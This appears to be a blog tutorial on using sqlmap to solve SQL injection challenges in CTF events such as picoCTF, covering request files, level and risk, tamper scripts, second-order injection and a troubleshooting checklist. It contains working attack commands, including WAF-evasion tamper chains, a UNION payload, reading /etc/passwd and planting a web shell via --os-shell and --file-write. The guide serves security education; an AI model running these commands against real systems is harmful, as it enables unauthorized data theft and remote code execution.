Skip to main content

August 11, 2026

sqlmap for CTF: Every Flag That Matters, and What to Do When It Finds Nothing

A practical sqlmap workflow for CTF: request files, level and risk, technique selection, tamper scripts, second-order injection, and the failure checklist.

An automated arm on a rail pulling one drawer open from a cabinet of identical closed drawers.

Introduction

If a CTF web challenge has a SQL injection and you have already confirmed it with a single quote, this is the command that finishes it:

sqlmap -r request.txt -p q --batch --dump-all --exclude-sysdbs

Save the request from Burp or DevTools, name the parameter, walk away, come back to a CSV of every table. That is the whole tool on a good day, and on a good day it takes ninety seconds. The rest of this guide is about the other days, because in CTFs the other days are most of them.

sqlmap is not a scanner that finds injections for you. It is an exploitation engine that is very good at the part after you found one.

That distinction is where people lose hours. A challenge author writes a deliberately small, deliberately weird application, sqlmap probes it with payloads tuned for real production stacks, gets nothing, and prints all tested parameters do not appear to be injectable. The reflex is to conclude there is no injection. Usually there is one, and sqlmap simply never sent the payload that would have worked. Knowing which knob makes it send that payload is the actual skill.

Note: This guide assumes you already know what a UNION is and why ' OR 1=1-- works. If you do not, read SQL Injection for CTF first and come back. Automation on top of a technique you cannot do by hand is a trap: you will not be able to tell a false negative from a real one.

Three ways to read this

You wantRead
The command, nowThe intro above, then Quick reference
It says not injectable and you disagreeWhen it finds nothing and tamper scripts
To actually understand the toolTop to bottom. Roughly twenty minutes

The first run

sqlmap is a single Python program with no compiled dependencies, which is why it is everywhere. Any of these works:

sudo apt install sqlmap # Debian, Ubuntu, Kali
pipx install sqlmap # isolated, always current
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
python sqlmap/sqlmap.py --version

Prefer the git clone or pipx if you can. Distribution packages lag, and tamper scripts plus DBMS fingerprints are exactly the parts that improve between releases.

The three shapes of a target, in the order you will meet them:

# 1. A GET parameter
sqlmap -u 'http://target:1337/search?q=test' --batch
 
# 2. A POST body
sqlmap -u 'http://target:1337/login' --data='user=a&pass=b' --batch
 
# 3. A saved raw request (the one you should almost always use)
sqlmap -r request.txt --batch
Tip: Put the value test rather than an empty string in the parameter you want tested. sqlmap injects around the existing value, and some applications short-circuit on an empty parameter before the query is ever built, so an empty one gets you a clean, fast, completely meaningless negative.

How sqlmap decides

Understanding the detection loop is what lets you diagnose a failure instead of guessing at flags. For every parameter in scope, sqlmap builds a payload, sends it, and compares the response against a stored baseline. Six techniques, selected with --technique, and each letter means something:

LetterTechniqueWhat it needs from the app
BBoolean-based blindThe response must visibly differ between a true and a false condition. Any difference will do: a row that appears, a word that vanishes, a changed status code
EError-basedThe app must reflect database error text back to you. Fastest extraction there is when available, and the first thing a challenge author turns off
UUNION queryThe injected query's results must reach the page, and the column count must match. The technique that dumps a table in one request
SStacked queriesThe driver must allow multiple statements per call. Rare in PHP with MySQL, normal in PostgreSQL and MSSQL. This is the technique that gets you writes and OS access
TTime-based blindNothing at all, except that the app waits for the query. The last resort, and slow: roughly one request per bit
QInline queriesA subquery whose result lands directly in the returned value

Default is all six, which is right for a first pass and wrong for the second. Once you know the shape of the target, pinning the technique cuts the request count by an order of magnitude:

# You can see query results on the page: go straight for UNION
sqlmap -r request.txt --technique=U --batch
 
# Login form, no output, page just says yes or no: boolean only
sqlmap -r request.txt --technique=B --batch
 
# Nothing reflects and nothing changes. Time-based, and be patient
sqlmap -r request.txt --technique=T --time-sec=3 --batch
Warning: Time-based on a shared, rate-limited CTF instance is where runs go to die. Each bit costs a full --time-sec wait, so a 30-character flag is on the order of 240 requests that each block for seconds. If you find yourself here, spend five minutes looking for a boolean oracle first. There almost always is one.

Two more flags belong in this section because they turn a black box into something you can reason about. -v 3 prints every payload sqlmap sends, and --parse-errors pulls DBMS error text out of the response and shows it to you even when sqlmap does not act on it. When a run behaves strangely, these two are the answer, not another flag guess.

sqlmap -r request.txt -v 3 --parse-errors --batch

Give it a real request

The single change that fixes the most failed sqlmap runs in CTFs is switching from -u to -r. A raw request file carries the session cookie, the content type, the CSRF token, the custom header the app requires, and the exact body encoding. Reconstructing all of that on the command line is how people end up scanning a login redirect for an hour.

Get one from Burp with right-click, Copy to file, from your browser DevTools with Copy as cURL and a quick reshape, or by hand. The format is just HTTP:

POST /search HTTP/1.1
Host: target:1337
Content-Type: application/x-www-form-urlencoded
Cookie: session=eyJ1c2VyIjoiY3RmLXBsYXllciJ9
 
q=test&category=all

Then point sqlmap at it and name the parameter you actually care about:

sqlmap -r request.txt -p q --batch
 
# Mark the spot explicitly when the parameter is in a path or a header
# sqlmap injects wherever it sees the asterisk
# GET /product/12*/reviews HTTP/1.1
sqlmap -r request.txt --batch

That asterisk is underused. It works anywhere in the file, including inside a JSON body, a path segment, a cookie value, or a custom header, which covers the API-shaped challenges that a plain -u cannot express at all.

Applications that mint a fresh CSRF token per request will fail every payload after the first unless you tell sqlmap where the token is. It handles this natively:

sqlmap -r request.txt --csrf-token=csrf --csrf-url='http://target:1337/form' --batch

Routing the whole thing through Burp is also worth the twenty seconds it takes. You get a readable log of every request and response, which is how you notice that the app has been returning 429 for the last four hundred payloads.

sqlmap -r request.txt --proxy='http://127.0.0.1:8080' --batch

For the wider Burp workflow that produces these request files, see Burp Suite for CTF. For finding the injectable endpoint in the first place, web recon and HTTP for CTF cover the ground before this one starts.

Level and risk

These two options are misunderstood more than any other pair in the tool, partly because the names suggest a single dial from gentle to aggressive. They control different things.

OptionRangeWhat it changes
--level1 to 5 (default 1)Where and how much it tests. Each step opens more injection points and more payloads. The Cookie header is only tested at level 2 or above, the Referer at 3 or above, and the Host header at 5
--risk1 to 3 (default 1)How dangerous the payloads are. Risk 2 adds heavy time-based queries. Risk 3 adds OR-based payloads, which can match every row in a table. Against an UPDATE statement that means rewriting the whole table
Warning: Risk 3 on a live scoreboard-connected instance is genuinely capable of destroying the challenge for everyone on that container. In a CTF, raise --level freely and raise --risk only when you have a reason and the target is a read-only search endpoint.

Those numbers deserve to be concrete, because "more aggressive" does not convey the size of the jump. sqlmap builds each test by pairing a payload with a boundary, the prefix and suffix that close the surrounding SQL. Counting both out of the definition files the tool ships with:

--levelPayloadsBoundariesCombinations per parameter
1285140
53635319,239

That is before multiplying by how many parameters are in scope, which is why a level 5 run against a slow instance can outlast solving the thing by hand. It is also why level 5 finds what level 1 misses: at the default you are seeing well under one percent of what sqlmap knows how to send.

The practical escalation, and the order I actually run them in when a first pass comes back empty:

# 1. Default, fast, confirms the easy case
sqlmap -r request.txt --batch
 
# 2. Widen the surface. This is the one that finds cookie injections
sqlmap -r request.txt --level=5 --batch
 
# 3. Tell it what the backend is. Skips thousands of wrong-dialect payloads
sqlmap -r request.txt --level=5 --dbms=sqlite --batch
 
# 4. Only now, and only if the endpoint is a read
sqlmap -r request.txt --level=5 --risk=2 --batch
Key insight: Step 3 is the one people skip and it is the highest-value flag in the tool for CTFs. Most small challenge apps are Flask or PHP over SQLite, and SQLite has no information_schema, no SLEEP(), and no stacked-query support through most drivers. Without --dbms=sqlite, the majority of the payload budget is spent on MySQL and MSSQL syntax that could never have worked, and detection can time out before it reaches the ones that would.

The extraction ladder

Once detection succeeds, sqlmap prints the payloads it confirmed and remembers them. Everything after that is enumeration, and it goes in this order.

--banner # DBMS version string. Confirms the fingerprint
--current-db # name of the database in use
--current-user # the account the app connects as
--is-dba # can it read files and run commands?
--dbs # every database on the server
--tables -D app # tables in one database
--columns -T users # columns in one table
-T users -C user,pass --dump # just the two columns you want
--dump-all --exclude-sysdbs # everything the app owns, nothing built in

In a CTF the databases are tiny, so --dump-all --exclude-sysdbs is usually the right move and finishes in seconds. Against anything blind it is not, because blind extraction costs requests per character and dumping a table you do not need can be thousands of them.

When you know what you want, skip enumeration entirely and ask a question. This is the flag I reach for most and it barely appears in tutorials:

sqlmap -r request.txt --sql-query="SELECT flag FROM secrets LIMIT 1" --batch
 
# SQLite: no information_schema, so enumerate through the master table
sqlmap -r request.txt --sql-query="SELECT name,sql FROM sqlite_master WHERE type='table'" --batch
 
# An interactive prompt, when you want to poke around
sqlmap -r request.txt --sql-shell

A grep across everything is often faster than reading schemas, especially when the flag column is named something unhelpful:

sqlmap -r request.txt --search -C flag --batch # column names containing 'flag'
sqlmap -r request.txt --search -T secret --batch # table names containing 'secret'
Tip: Dumped values that come back mangled, truncated, or full of question marks are almost always an encoding problem rather than a broken dump. Add --hex so values transit as hexadecimal and get decoded locally, or --no-castwhen sqlmap's automatic casting is what corrupted them. Binary blobs and non-ASCII flags need this.

Sessions, caching, and resuming

sqlmap keeps a per-target SQLite session file and writes results under an output directory whose path it prints at the end of every run. That cache is why the second run is instant, and it is also why a stale run can lie to you for an hour.

FlagUse it when
--flush-sessionThe target changed: new instance, new port, new session cookie, the author patched something. This is the fix for "it worked yesterday and now it finds nothing"
--fresh-queriesYou want the injection points kept but the extracted data re-fetched. Faster than a full flush when the database contents moved
--purgeWipe the whole output directory. The nuclear option, occasionally the correct one
-s session.sqlitePin the session file somewhere you control, so a long blind dump survives a reboot
--output-dir=./outKeep artifacts inside the challenge directory instead of a global cache. Worth doing on principle during a competition

Blind extraction is resumable, which matters more than it sounds. Interrupt a time-based dump with Ctrl-C, restart the same command, and it picks up from the characters it already recovered rather than starting over. Add --threads=8 for blind work too: it parallelizes the per-character requests and is the single biggest speedup available.

sqlmap -r request.txt --technique=B --threads=8 -T users --dump --batch

When it finds nothing

Here is the section that earns the guide. sqlmap says the parameter is not injectable, you are fairly sure it is, and now you need a procedure rather than a hunch. Work down this list. Each step is cheap and each one has actually been the answer for me at least once.

#CheckCommand or fix
1Are you even reaching the endpoint?Proxy through Burp and read the responses. A 302 to /login on every request means your cookie is dead and you have been fuzzing a redirect
2Stale session cache--flush-session
3Wrong or unnamed parameter-p param, or put a * exactly where the value goes in the request file
4Surface too narrow--level=5
5Wrong dialect--dbms=sqlite (or mysql, postgresql, mssql)
6Wrong quoting contextThe value may sit inside LIKE '%...%' or in parentheses. Force the wrapper with --prefix and --suffix
7The difference is invisible to the diff engineTell it what true looks like: --string="Welcome", --not-string="Invalid", or --code=200
8Rate limiting or an IPS eating the traffic--delay=1 --threads=1 --random-agent
9A filter is rewriting the payloadTamper scripts. See the next section
10The parameter is signed, hashed, or encoded--eval="import hashlib;h=hashlib.md5(id).hexdigest()"

Items 6 and 7 deserve expanding, because between them they cover most genuine false negatives in hand-written challenge apps.

Forcing the quoting context

sqlmap guesses the boundary characters around your injection point. When the query is SELECT * FROM p WHERE name LIKE '%INPUT%', a payload that closes with one quote leaves a dangling % and errors out every time. Tell it explicitly:

sqlmap -r request.txt --prefix="%' " --suffix="-- -" --batch
 
# Value inside a function call or parentheses
sqlmap -r request.txt --prefix="') " --suffix="-- -" --batch

Naming the oracle yourself

Boolean detection works by response diffing, and it fails on pages carrying anything that changes every request: a timestamp, a CSRF token, a rotating banner. sqlmap has a normalizer for this and it is good, not perfect. When it fails, stop making it guess.

# 'Welcome back' appears only when the condition is true
sqlmap -r request.txt --string='Welcome back' --technique=B --batch
 
# Or the inverse, which is often the more reliable marker
sqlmap -r request.txt --not-string='No results found' --technique=B --batch
 
# Or the app answers 500 on a true condition and 200 otherwise
sqlmap -r request.txt --code=500 --technique=B --batch

Filters, WAFs, and tamper scripts

CTF authors love a blacklist. Spaces banned, the word UNION stripped, SELECT replaced with an empty string, quotes escaped by a regex that only understands one of them. A tamper script is a Python transform applied to every payload on its way out. The 75 that ship with sqlmap cover most of what a filter written in an afternoon can do.

ScriptTurnsBeats
space2commentUNION SELECT -> UNION/**/SELECTFilters that block the space character
randomcaseselect -> SeLeCtCase-sensitive keyword blacklists
betweenA > B -> A NOT BETWEEN 0 AND BBlocked comparison operators
equaltolikea = 1 -> a LIKE 1A blocked equals sign
charencodeSELECT -> %53%45%4C%45%43%54Naive string matching before URL decoding
apostrophemask' -> %EF%BC%87Quote filters that miss the UTF-8 fullwidth form
versionedkeywordsUNION -> /*!UNION*/MySQL only. Comment syntax MySQL executes and filters ignore

They chain, left to right, and chaining is normally what works:

sqlmap -r request.txt --tamper=space2comment,randomcase,between --batch
 
# See what each one actually produced
sqlmap -r request.txt --tamper=space2comment -v 3 --batch
 
# List every tamper script your install ships, with a one-line description
sqlmap --list-tampers
Key insight: The filter-bypass challenges in picoCTF, the Web Gauntlet series in particular, are deliberately built so that no bundled tamper script wins. Each round bans another keyword, and the intended answer is a specific payload you reason your way to: with OR, UNION, = and LIKE all gone, you assemble the string admin out of pieces with the concatenation operator. Reaching for sqlmap there is the wrong instinct. Knowing which challenges are tool-shaped and which are puzzle-shaped saves more time than any flag.

Writing your own tamper is about twelve lines: a tamper(payload, **kwargs) function, a priority constant, and a file dropped next to the bundled ones. It is worth doing once, because it covers the case nothing bundled can. Irish-Name-Repo 3 is the perfect shape for it: the application rotates your input before building the query, so every payload arrives scrambled and nothing detects. Pre-rotate inside a tamper function and the entire tool works again against a target it could not touch a minute earlier. That is the general pattern, not a trick for one challenge. Any deterministic transform the app applies to input, a rotation, an encoding, a signature, a prefix, belongs in a tamper script rather than in your head.

Past the dump

Dumping tables is where most people stop, and for most CTF challenges that is correct because the flag is a row. When it is not, sqlmap goes considerably further, provided the database user has the privileges and the technique supports it.

--file-read=/etc/passwd # read a file from the DB server
--file-write=shell.php --file-dest=/var/www/html/s.php
--os-shell # upload a stager, get a command shell
--os-cmd='id' # one command, no stager left behind
Warning: --os-shell writes a web shell to the target. On a shared CTF instance that is a real artifact that other players can find and use, and on some events it is against the rules. Prefer --file-read and --sql-query unless the challenge clearly wants code execution, and clean up after yourself if you use it.

Two more modes worth knowing. If the challenge hands you the database file itself, which happens constantly in forensics-flavoured web challenges, sqlmap will talk to it directly and you skip the web layer entirely:

sqlmap -d 'sqlite3:///loot/app.db' --dump-all
sqlmap -d 'mysql://user:pass@127.0.0.1:3306/app' --tables

And if you do not know where the injectable endpoint is yet, sqlmap can find candidate forms itself. It is a blunt instrument compared to real recon, but on a small challenge app it is one command:

sqlmap -u 'http://target:1337/' --crawl=2 --forms --batch

For anything larger, do the enumeration properly first. The web recon guide covers directory discovery and parameter mining, and file upload exploitation covers what to do with a write primitive once you have one.

Second-order injection

Second-order injection is the class sqlmap handles worst by default and handles fine once you tell it what is going on. The payload goes in at one endpoint, gets stored safely, and detonates later when a different endpoint reads it back into a query without re-escaping. Registration stores your username; the profile page interpolates it. Response diffing on the registration endpoint sees nothing, because nothing happens there.

# Inject at the registration endpoint, read the result from /profile
sqlmap -r register.txt -p username --second-url='http://target:1337/profile' --batch
 
# When the second stage needs its own method, headers, or body
sqlmap -r register.txt -p username --second-req=profile.txt --batch

Two practical notes. Each probe usually needs a fresh unique value, since registering the same username twice fails and every subsequent payload silently tests nothing, so add --randomize=username when the stored field must be unique. And the second request must actually trigger the vulnerable read, which is not always the page you first think of.

Note: picoCTF 2026 shipped two of these in the same season. Secret Box is the clean worked example, and ORDER ORDER is the harder version: the username you register with is read back by a report generator, so the second stage is a download endpoint rather than a page. Working through one of them by hand is worth more than reading three explanations of second-order injection, including this one.

When to close the laptop on it

I want to be straightforward about the limits, because a guide that ends with "and then it works" is not honest about CTFs. There are whole categories where sqlmap is the wrong tool and persisting with it costs you the challenge.

SituationWhy sqlmap losesDo this instead
A length-capped filter puzzleIts payloads are long and generic by design. A 25-character cap rules out every oneHand-craft it. That is the challenge
The app is not really SQLA hand-rolled parser or an ORM filter string that only resembles SQLRead the source if you have it, and probe the parser's own grammar
Egress filtering on your networkUniversity and corporate networks drop obviously malicious traffic, and you see unable to connect to the target URL for a target that loads fine in the browserRun from the event's own shell or a VPS, or send one UNION by hand from the browser
One value behind one booleanDetection alone costs hundreds of requests before extraction startsTwenty lines of Python with requests and a binary search. Faster to write than the sqlmap invocation is to debug
NoSQLDifferent query language, different injection model entirelyNoSQL injection, and nosqlmap if you want automation
The fastest solvers are not the ones who know the most sqlmap flags. They are the ones who decide in thirty seconds whether this is a sqlmap challenge at all.

A useful heuristic: if the challenge name or description mentions a tool, automation is intended. If it mentions a filter, a blacklist, a character limit, or a "gauntlet", it is a puzzle and you should be writing payloads yourself. The SQL injection guide covers the manual side, and the SQL injection payload generator on this site will build both the sqlmap command and the manual UNION for you.

picoCTF challenges

Every SQL injection challenge in the archive, and an honest note on whether sqlmap is the right way in. Working through them in this order builds the judgment the previous section asks for.

ChallengeShapesqlmap?
Sql Map1Authenticated search endpoint over SQLite, then an unsalted MD5 to crack. Named after the tool, and still the challenge where sqlmap most often refuses to connectYes, with --cookie, until it is not
Secret BoxSecond-order: stored at one endpoint, executed at anotherYes, with --second-url
ORDER ORDERSecond-order again, harder: the payload is planted as a username at registration and fires when a report generator reads it backYes, with --second-req
More SQLiAuth bypass, then full schema enumeration through SQLiteYes
SQLiLiteClassic login bypass. One payload in a browserOverkill
SQL DirectA PostgreSQL prompt handed to you directly. No web layer at allNo, use psql
Irish-Name-Repo 1The introductory login bypassOverkill
Irish-Name-Repo 2The same app with a keyword filter. A comment-style payload walks through itTry --tamper
Irish-Name-Repo 3Input is transformed before it reaches the query, so the payload has to be pre-transformed to surviveOnly with a custom tamper
Web Gauntlet 2An expanding keyword blocklist, beaten by building 'admin' with || concatenationNo, by design
Web Gauntlet 3The same blocklist, longer. Still || concatenation, now with = and LIKE gone tooNo, by design
No Sql InjectionMongoDB operator injection. A different query languageNo
Warning: Sql Map1 deserves its own warning, because it is the challenge most likely to convince you that you have broken your sqlmap install. A large share of attempts die on critical: unable to connect to the target URLagainst a host that loads fine in a browser one alt-tab away. It is usually the network, not the tool: university and corporate egress filtering drops traffic that looks like this. Run it from the event's own web shell, or send one UNION by hand from the search box. The backend is SQLite and the query returns two columns, so ' UNION SELECT name, sql FROM sqlite_master WHERE type='table'-- enumerates the schema without sqlmap ever connecting.

Sql Map1 also ends in a hash rather than a flag, so it doubles as a hash cracking exercise, and the payload generator will build both the sqlmap invocation and that manual UNION for you. The full category ladder lives in the web exploitation roadmap.

Quick reference

# The one that solves most of them
sqlmap -r request.txt -p param --batch --dump-all --exclude-sysdbs
 
# Escalation when nothing is found, in order
sqlmap -r request.txt --flush-session --batch
sqlmap -r request.txt --level=5 --batch
sqlmap -r request.txt --level=5 --dbms=sqlite --batch
sqlmap -r request.txt --prefix="%' " --suffix='-- -' --batch
sqlmap -r request.txt --string='Welcome' --technique=B --batch
sqlmap -r request.txt --tamper=space2comment,randomcase --batch
 
# Ask a question instead of dumping a schema
sqlmap -r request.txt --sql-query="SELECT name,sql FROM sqlite_master" --batch
sqlmap -r request.txt --search -C flag --batch
 
# Second order
sqlmap -r register.txt -p username --second-url='http://t/profile' --batch
 
# Speed and stealth
--threads=8 # parallel blind extraction
--delay=1 --threads=1 # crawl past a rate limiter
--random-agent # stop announcing yourself in User-Agent
--proxy=http://127.0.0.1:8080 # watch it work in Burp
-v 3 --parse-errors # see payloads and database errors
 
# You have the database file itself
sqlmap -d 'sqlite3:///app.db' --dump-all

Related reading: SQL injection by hand for the payloads underneath all of this, Burp Suite for producing request files, HTTP for CTF for cookies and headers, NoSQL injection when the backend is MongoDB, authentication bypass and IDOR for what a dumped user table gets you, and hash cracking for the password column you just extracted.

Sources and further reading

Every flag and behaviour described above is documented by the project itself. Where the dialect matters, the vendor manual is the authority.

  • The sqlmap repository and its Usage wiki. Every flag in this guide was checked against the argument parser in lib/parse/cmdline.py rather than from memory, the level thresholds against lib/controller/controller.py and lib/core/common.py, and the payload and boundary counts by counting <level> entries in data/xml/payloads/ and data/xml/boundaries.xml. Those counts move between releases; they were taken from the current master branch.
  • The tamper script directory. Every script is a short readable Python file carrying a doctest that shows exactly what it rewrites, which is where the examples in the table above come from. Reading three of them teaches you to write your own faster than any tutorial does.
  • The OWASP SQL Injection Prevention Cheat Sheet for the defensive side, which is also the fastest way to understand why an injection exists in the first place.
  • SQL As Understood By SQLite for sqlite_master and the dialect most small challenge apps actually run, and the MySQL INFORMATION_SCHEMA reference for the one they usually do not.
  • Burp Suite proxy history for capturing the raw request that -r wants.

Run it in the browser

Tools on this site that do the work described above. No install, nothing uploaded: they run entirely in your browser.

Try it on these picoCTF challenges

Walkthroughs that put this technique to work, grouped by event.

Keep reading

Guides that build on the same ideas, plus the roadmap this topic sits under.